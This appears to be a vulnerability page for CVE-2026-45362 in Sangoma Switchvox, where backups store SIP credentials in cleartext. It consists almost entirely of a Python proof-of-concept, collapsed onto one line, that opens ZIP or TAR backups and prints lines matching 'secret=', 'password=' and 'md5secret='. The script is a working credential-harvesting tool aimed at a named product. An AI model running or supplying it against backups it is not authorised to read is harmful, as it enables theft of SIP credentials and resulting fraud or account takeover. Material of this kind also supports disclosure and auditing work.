CVE-2026-45362: Sangoma Switchvox 备份文件明文存储SIP认证凭证漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-45362: Sangoma Switchvox Cleartext SIP Credentials in Backup This script demonstrates how to extract cleartext credentials from a vulnerable backup file. """ import zipfile import tarfile import os import sys def extract_creds_from_backup(backup_path): """ Analyzes the backup file to find cleartext SIP credentials. """ print(f"[*] Analyzing backup file: {backup_path}") # Common patterns indicating SIP credentials keywords = ['secret=', 'password=', 'md5secret=', 'SIP '] found_creds = [] try: if zipfile.is_zipfile(backup_path): print("[+] Detected ZIP format backup.") with zipfile.ZipFile(backup_path, 'r') as z: for filename in z.namelist(): with z.open(filename) as f: content = f.read().decode('utf-8', errors='ignore') for line in content.splitlines(): if any(keyword in line for keyword in keywords): found_creds.append(f"{filename}: {line.strip()}") elif tarfile.is_tarfile(backup_path): print("[+] Detected TAR format backup.") with tarfile.open(backup_path, 'r:*') as t: for member in t.getmembers(): if member.isfile(): f = t.extractfile(member) if f: content = f.read().decode('utf-8', errors='ignore') for line in content.splitlines(): if any(keyword in line for keyword in keywords): found_creds.append(f"{member.name}: {line.strip()}") else: print("[-] Unknown backup format or file is corrupted.") return except Exception as e: print(f"[!] Error processing file: {e}") return if found_creds: print(f"[!] Found {len(found_creds)} potential credential entries:") for entry in found_creds: print(entry) else: print("[*] No cleartext credentials found or backup is encrypted.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <path_to_switchvox_backup>") sys.exit(1) backup_file = sys.argv[1] if not os.path.exists(backup_file): print(f"[!] File not found: {backup_file}") sys.exit(1) extract_creds_from_backup(backup_file)